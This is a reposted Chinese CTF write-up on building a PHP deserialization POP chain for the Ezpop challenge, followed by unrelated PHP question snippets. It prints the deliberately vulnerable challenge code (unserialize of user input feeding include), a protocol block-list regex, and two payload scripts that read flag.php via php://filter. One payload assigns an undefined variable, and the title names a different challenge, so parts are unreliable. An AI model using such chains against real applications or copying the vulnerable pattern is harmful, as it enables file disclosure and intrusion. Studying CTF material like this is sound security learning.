cl.ez6.xyz index.php,[BJDCTF2020]EzPHP-POP链

2023-05-16

那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例。

题目

1 Welcome to index.php

2 <?php

3 //flag is in flag.php

4 //WTF IS THIS?

5 //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95

6 //And Crack It!

7 class Modifier {

8 protected $var;

9 public function append($value){

10 include($value);

11 }

12 public function __invoke(){

13 $this->append($this->var);

14 }

15 }

16

17 class Show{

18 public $source;

19 public $str;

20 public function __construct($file='index.php'){

21 $this->source = $file;

22 echo 'Welcome to '.$this->source."
";

23 }

24 public function __toString(){

25 return $this->str->source;

26 }

27

28 public function __wakeup(){

29 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {

30 echo "hacker";

31 $this->source = "index.php";

32 }

33 }

34 }

35

36 class Test{

37 public $p;

38 public function __construct(){

39 $this->p = array();

40 }

41

42 public function __get($key){

43 $function = $this->p;

44 return $function();

45 }

46 }

47

48 if(isset($_GET['pop'])){

49 @unserialize($_GET['pop']);

50 }

51 else{

52 $a=new Show;

53 highlight_file(__FILE__);

54 }

分析

将涉及到的魔法函数先列出一下:

__construct 当一个对象创建时被调用,

__toString 当一个对象被当作一个字符串被调用。

__wakeup() 使用unserialize时触发

__get() 用于从不可访问的属性读取数据

#难以访问包括:(1)私有属性,(2)没有初始化的属性

__invoke() 当脚本尝试将对象调用为函数时触发

大致分析一下,这道题主要存在两个点:

1.序列化pop链

利用几个类之间相互关联进行构造

2.文件包含漏洞

Modifier类中append函数使用了include(),会出现文件包含漏洞。

详细分析

1.根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。

2._wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;

3.如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。

4.如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

5.利用文件包含漏洞,使用_invoke()读取flag.php的内容。

Modifier::__invoke()

总结

首先反序列化一个实例化的Show($a),就会调用_wakeup(),其中$a会被赋值给source。所以让$a是一个实例化的Show类,这样就会调用_tostring(),然后让里面的$a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。

payload1

1 <?php

2 class Show{

3 public $source;

4 public $str;

5 }

6

7 class Test{

8 public $p;

9

10

11 }

12 class Modifier{

13 protected $var = "php://filter/convert.base64-encode/resource=flag.php";

14

15 }

16 $s = new Show();

17 $t = new Test();

18 $m = new Modifier();

19 $s->source = $s;

20 $s->str = $t;

21 $t->p = $r;

22 var_dump(urlencode(serialize($s)));

23

24 ?>

payload2

1 <?php

2 class Modifier{

3

4 protected $var = "php://filter/convert.base64-encode/resource=flag.php";

5 }

6

7 class Show{

8 public $source;

9 public $str;

10 public function __construct(){

11 $this->str = new Test();

12

13 }

14

15 }

16 class Test{

17 public $p;

18 public function __construct(){

19

20 $this->p = new Modifier();

21 }

22

23 }

24 $a = new Show();

25 $b = new Show();

26 $b->str = "";

27 $b->source = $a;

28 var_dump($b);

29 var_dump(urlencode(serialize($b)));

30 ?>

参考:https://blog.csdn.net/weixin_43952190/article/details/106016260

标签:__,function,Show,POP,source,str,EzPHP,BJDCTF2020,public

来源: https://www.cnblogs.com/zzjdbk/p/13617229.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

cl.ez6.xyz index.php,[BJDCTF2020]EzPHP-POP链 的相关文章

  • Twitter APi“代码”:215,“消息”:“错误的身份验证数据

    接收错误 code 215 message 错误的身份验证数据 in my page var dump page 我读到 Friends exist 不再适用于 1 1 版本 因此我需要使用 Friends lookup 来比较一个 Twi
  • 插入值数组

    我有一个具有可变数量值的数组 除了内部带有查询的循环之外 是否有更有效或更好的方法将它们插入到我的数据库中 At 这个网站 http www desilva biz mysql insert html 有一个很好的 MySQL 多插入查询示
  • 未找到“google\appengine\CreateUploadURLRequest”类

    我正在使用谷歌云CORE PHP使用简单的 HTML 表单上传文件但我被困在CloudStorageTools班级 它会抛出连续的跟随错误 致命错误 类 找不到 google appengine api cloud storage Clou
  • 在 Laravel 中创建用户表

    我在 laravel 的用户表方面遇到了一些麻烦 我很久以前就已经删除了那些默认表 现在我尝试使用 Auth 但无法注册 因为数据库中没有表 但我也无法创建表php artisan migrate 因为我已经删除了那些迁移表 所以我想再次创
  • 总小时数无法从 Android 插入 MySQL

    我使用以下公式获得总小时数 public void updateTotalHours int a SplitTime objMyCustomBaseAdapter getFistTime int b SplitTime objMyCusto
  • 在 PHP 中获取日期和数字工作日

    我正在用 PHP 开发一个应用程序 我需要使用日期和工作日的数字表示 我尝试过以下方法 today date Y m d number date N strtotime today echo Today today weekday numb
  • 将数据从 jQuery 传递到 PHP 以进行 ajax post

    你好 我是一个使用 jQuery 和 Ajax 的新手 我正在尝试使用 Jquery POST 方法将数据提交到服务器 我传递的数据是一个字符串 现在我无法理解如何传递数据以及如何检索数据 我尝试搜索有关我的问题的文章 但没有找到 我相信我
  • XPath 直到下一个标签

    与之前在这里问过的其他人类似的问题 但由于我不知道如何应用这些建议 所以我需要一些帮助 我想找到一个 html 文档的节点 其结构如下 摘录 可能有所不同 h2 My title 1 h2 h3 Sub heading h3 p span
  • PHP/MySQL/jQuery 记录的悲观锁定

    我一直在考虑为我参与的应用程序开发一些简单的记录锁定 有一些用户实际上需要花费几个小时才能完成记录的编辑 当其他人想要更改记录时 这会导致问题 目前不涉及锁定 我不确定乐观锁定在我的情况下是否可靠 因为记录是通过 AJAX 请求保存的 我正
  • 来自同一数组的引用键

    我试图引用同一数组中项目的键 值对 glossary args array name gt Glossary Terms singular name gt Glossary Term add new gt Add New Term edit
  • PHP 正则表达式修复被黑的 WordPress 网站

    我有一个客户安装了多个 WordPress 但他没有保持最新状态 结果 他被黑了 当我试图找出黑客是如何进入并永久解决问题时 我正在尝试创建一个脚本来快速 自动地修复它们 我找到了这个脚本 它可以满足我的要求 http designpx c
  • HTML/PHP if-else 语句

    我正在使用 Bootstrap 创建一个网站 我想输入 if else 语句 但我不知道该怎么做 让我解释 Here is an image of my current HTML snippet 现在我想要的是 如果我通过 An Aussc
  • YOUTUBE API:检索视频关键字

    最近 YouTube 决定仅向经过身份验证的开发者输出视频关键字 我注册了开发者密钥 我试图获取一个我将解析的 XML 通过请求 https gdata youtube com feeds api videos COwIYbYQUrQ ke
  • gd 的 php 包装类

    谁能推荐一个 gd 库的包装类 我找到了一个few http www bin co com php scripts classes gd image 但它们只具有基本的图像处理功能 例如翻转 倒转等 我真的在这里画画 所以我想要所有的线 点
  • PHP exec - 检查是否启用或禁用

    有没有办法检查 php 脚本是否exec 在服务器上启用还是禁用 这将检查该功能是否确实有效 权限 权利等 if exec echo EXEC EXEC echo exec works
  • 以阿拉伯语显示日期

    这是我的代码 setlocale LC ALL ar echo strftime e b Y strtotime 2011 10 25 Output 25 Sep 2011 为什么不显示阿拉伯日期 我是否错误地使用了 strftime 在这
  • 如何将值从 javascript 传递到 php 文件

    我通过以下方式获取价值JQuery像这样的东西 var query popURL split var dim query 1 split var popWidth dim 0 split 1 Gets the first query str
  • 服务器重新启动时显示等待页面

    我有一个服务器并为其创建一个 Web 界面 如果用户按下页面上的重新启动按钮 则用户将被重定向到reboot php他应该看到一个旋转 gif 直到服务器再次可访问并且服务器通过 shell 执行重新启动 如果服务器可以访问 那么我需要重定
  • Laravel 4:Facades 是如何解决的?

    我有点想看看 Laravel 4 发生了什么facades在引擎盖下 我们以这个 Facade 为例 File get someArgs 如果我没有记错的话 逐步 过于简化 的调用将是 static method invocation wh
  • PHP 中使用 MVC 的 Post-Redirect-Get (PRG) 最佳实践

    PRG 模式与 MVC 是否有最佳实践 在本教程中 http www theserverside com news 1365146 Redirect After Post http www theserverside com news 13

随机推荐